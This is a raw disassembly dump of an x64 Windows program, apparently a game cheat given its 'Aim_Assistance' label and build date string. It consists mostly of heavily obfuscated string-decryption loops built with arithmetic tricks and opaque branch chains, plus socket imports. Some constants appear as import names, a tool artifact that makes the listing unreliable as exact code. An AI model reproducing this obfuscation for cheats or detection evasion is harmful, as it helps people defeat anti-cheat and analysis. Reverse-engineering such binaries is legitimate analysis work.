movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
movabs rcx, 0x770ddeb3560037fe
add rcx, r14
and r13b, cl
mov eax, 7
sub al, r13b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r14b
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x2a
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r14 + 0x480], al
inc r8
add rax, r8
sub r14, rax
lea ecx, [r14 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x28
add cl, r10b
mov byte [rbp + r14 + 0x480], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r14, rax
jmp 0x140078261
movabs rcx, 0x57983adf24db85b6
add rcx, r14
and r13b, cl
mov eax, 3
sub al, r13b
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r14 + 0x480]
add rax, r8
add r14, rax
inc r14
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d6
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movabs rsi, 0xc7dd68f50c492c92
jmp 0x1400778d3
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400778b9
lea rdx, [rbp + 0x169f698]
jmp 0x1400782e5
lea rdx, [rbp + 0x173232a]
jmp 0x1400782e5
lea rdx, [rbp + 0x480]
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x260], xmm1
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140078301
lea rcx, [rbp + 0x250]
call fcn.140041ee0
nop
mov r8d, ntohs
lea rdx, str.Oct_21_2024
lea rcx, [rbp + 0x250]
call fcn.1400518a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x650], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x660], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x250]
call fcn.140044af0
lea rcx, [rbp + 0x638]
call fcn.14000f1d0
lea rdx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0xf
cmova rdx, qword [rbp + 0x650]
movss xmm0, dword [0x140144414]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x630]
call fcn.14000ac30
movss xmm0, dword [rbp + 0x638]
subss xmm0, dword [rbp + 0x630]
mulss xmm0, xmm6
call fcn.14001a590
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0xf
cmova rcx, qword [rbp + 0x650]
call fcn.140040810
call fcn.140016330
call fcn.14000a280
cmp dword [0x1401dd1d4], 0
jne 0x1400825af
mov dword [rbp + 0x20], 0x42aa0000
mov dword [rbp + 0x24], 0x428c0000
lea rcx, [rbp + 0x20]
call fcn.14001a510
mov dword [rbp + 0x28], 0x438d0000
mov dword [rbp + 0x2c], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x28]
lea rcx, str.Aim_Assistance
call fcn.140009a60
mov byte [rbp + 0x290], 0xe1
mov byte [rbp + 0x291], 0x3f
mov byte [rbp + 0x292], recvfrom
mov byte [rbp + 0x293], 5
mov byte [rbp + 0x294], 0x3c
mov byte [rbp + 0x295], 4
mov byte [rbp + 0x296], 0xf6
mov byte [rbp + 0x297], 0xd6
mov byte [rbp + 0x298], 0x3d
mov byte [rbp + 0x299], 0
mov byte [rbp + 0x29a], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x29b], eax
mov word [rbp + 0x29f], ax
mov byte [rbp + 0x2a1], al
movabs r14, 0x925045ee4ada801a
movabs r12, 0x31e9840bf980b6
movabs r15, 0xb6f0d1cae08f804e
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x140078fec
movzx r9d, byte [rbp + r11 + 0x290]
mov esi, r9d
nop dword [rax]
cmp rbx, r11
ja 0x140078fe3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007852c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x4a
jmp 0x140078566
je 0x140078f71
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140078ee2
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140078e83
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140078e5e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140078e39
movzx r10d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140078fda
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14007859e
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400785d0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140078df2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140078dd5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140078da3
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140078b63
nop dword [rax]
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
je 0x140078b47
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140078b1e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140078afb
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140078adf
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140078abf
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140078aa2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140078a83
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140078a63
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140078a31
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400785e0
mov rbx, rcx
lea r8, [rcx + 0x5a]
lea rcx, [r8 + 0x28]
cmp rbx, rcx
jb 0x140078fbd
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140078f9d
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400787bf
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400787a4
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140078785
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400789e0
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007897d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140078939
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007890e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400785e0
mov rbx, rcx
lea r8, [rcx + 0x80]
lea rcx, [r8 + 4]
cmp rbx, rcx
ja 0x1400788df
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400788bf
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400788a0
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140078883
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140078863
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140078847
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140078821
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400787fb
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400787df
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400785e0
mov rbx, rcx
lea r8, [rcx + 9]
jmp 0x1400785e0
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400785d0
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x140078570
sub r10b, 0x4a
movzx eax, r10b
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140078500
lea edx, [r10 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
jmp 0x140078e09
sub r10b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
inc r8
dec r11
inc r11
jmp 0x1400784e3
sub r10b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400784e3
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x140078e9e
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140078ec6
add r10b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x140078ec9
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140078efe
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, r10b
jmp 0x140078f2a
add r10b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x290], dil
inc r11
jmp 0x1400784e3
lea edx, [r10 - 0x46]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x16
add dil, dl
cmp r8, 0x3e8
jb 0x140078929
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x140078e0c
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 1
jae 0x140078d72
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078ced
sub r10b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x140078d8d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140078c37
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
jmp 0x140078994
sub r10b, 0x34
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, r10b
jmp 0x140078f2a
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140078efe
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
jmp 0x140078ec9
sub r10b, 4
movzx eax, r9b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140078ec6
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
jmp 0x140078e9e
sub r10b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
dec r11
inc r11
jmp 0x1400784e3
add r10b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400784e3
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
jmp 0x140078e09
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140078b88
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400789f7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078bc3
add r10b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078be9
sub r10b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140078ec9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078c0e
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140078e9e
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400789fa
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
jmp 0x140078e09
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140078c5c
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140078e09
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078c8b
sub r10b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400784e3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140078cb1
add r10b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
jmp 0x140078ec6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078997
add r10b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140078d16
sub r10b, 0x44
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
add dil, r10b
jmp 0x140078f2a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140078d3c
add r10b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
jmp 0x140078ec6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140078953
sub r10b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400784e3
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
jmp 0x140078e9e
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x5c]
jmp 0x140078efe
sub r10b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
add r10b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
jmp 0x140078ec9
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
add dil, dl
add r10b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3a
add r9b, r10b
mov byte [rbp + r11 + 0x290], r9b
inc r8
dec r11
inc r11
jmp 0x1400784e3
lea ecx, [r11 - 0x46]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x16
inc r8
dec r11
inc r11
jmp 0x1400784e3
lea edx, [r11 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x1400784e3
movzx r10d, r11b
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
add dil, dl
sub r10b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x290], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400784e3
lea rcx, [r11 + r12]
and sil, cl
mov eax, 3
sub al, sil
lea edi, [rax + rax]
add dil, r9b
add dil, cl
movzx r10d, r11b
sub r10b, 0x22
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x12
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r11 + 0x290], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0x290], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
lea rax, [r11 + r15]
and sil, al
add sil, sil
sub r9b, sil
lea edi, [rax + r9]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0x290]
add rax, r8
add r11, rax
inc r11
jmp 0x1400784e3
sub r10b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400784e0
add r10b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x1400784d0
lea rcx, [rbp + 0x14e1408]
jmp 0x140078ff3
lea rcx, [rbp + 0xe89422]
jmp 0x140078ff3
lea rcx, [rbp + 0x290]
lea rdx, [0x1401db6b1]
call fcn.14003a4c0
mov byte [rbp + 0xa0], 0xd9
mov byte [rbp + 0xa1], 0xe7
mov byte [rbp + 0xa2], 0xf3
mov byte [rbp + 0xa3], 0xf1
mov byte [rbp + 0xa4], 0xe6
mov byte [rbp + 0xa5], 0xf2
mov byte [rbp + 0xa6], 0x3c
mov byte [rbp + 0xa7], 0xc3
mov byte [rbp + 0xa8], 0xec
mov byte [rbp + 0xa9], 0xf2
mov byte [rbp + 0xaa], 0xf1
mov byte [rbp + 0xab], 0xf2
mov byte [rbp + 0xac], 0xf5
mov byte [rbp + 0xad], 0xd7
mov byte [rbp + 0xae], 0x24
xor eax, eax
mov byte [rbp + 0xaf], al
movabs rsi, 0x7696e4087b126353
movabs r12, 0x3e203c3b5d80b745
movabs r15, 0x50f2742a675bf09f
movabs r14, 0x63c4ac19713729f9
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x140079c88
movzx r10d, byte [rbp + r11 + 0xa0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140079c7f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400790fc
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x45
jmp 0x140079143
je 0x140079c13
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079bbe
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079b7a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079b48
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140079b08
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140079ae4
movzx r9d, r11b
cmp r8, r11
ja 0x140079c76
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140079171
lea ecx, [r9 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x57
jmp 0x1400791b2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140079aa1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140079a7e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140079a61
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140079a44
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140079a15
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140079720
nop
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140079701
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400796db
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400796b5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007969a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007967a
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007965d
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007963e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140079621
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400795ef
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400791c0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 5]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140079c59
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140079c3c
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400793aa
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007938f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140079374
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400795a7
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14007955f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140079523
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400794fb
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400791c0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400794c9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400794a9
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007948e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007946e
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140079451
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140079432
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007940f
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400793e6
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400793c7
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400791c0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x42]
jmp 0x1400791c0
lea ecx, [r9 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x77
jmp 0x1400791b2
lea ecx, [r9 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x13
jmp 0x140079147
sub r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x63
jmp 0x1400790d0
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x140079ab7
sub r9b, 0x2e
movzx eax, r10b
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x1400790b3
add r9b, 0x2c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x34
dec r11
inc r11
jmp 0x1400790b3
lea edx, [r9 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140079b22
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
jmp 0x140079b5e
add r9b, 0x3a
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140079b61
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140079b90
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140079bd0
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
sub r9b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x61
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x1400790b3
lea ecx, [r9 + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x15
cmp r8, 2
jb 0x140079513
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140079ab7
lea ecx, [r9 + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x75
cmp rbx, 0x400
jae 0x1400799db
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x1400798fd
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140079539
lea ecx, [r9 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
dec dil
lea rax, [rbx + r8]
cmp rax, 2
je 0x1400799f9
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140079822
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
jmp 0x140079575
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400790b3
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x140079bd0
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140079b90
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140079b61
add r9b, 0x42
movzx eax, r9b
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140079b5e
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140079b22
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400790b3
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
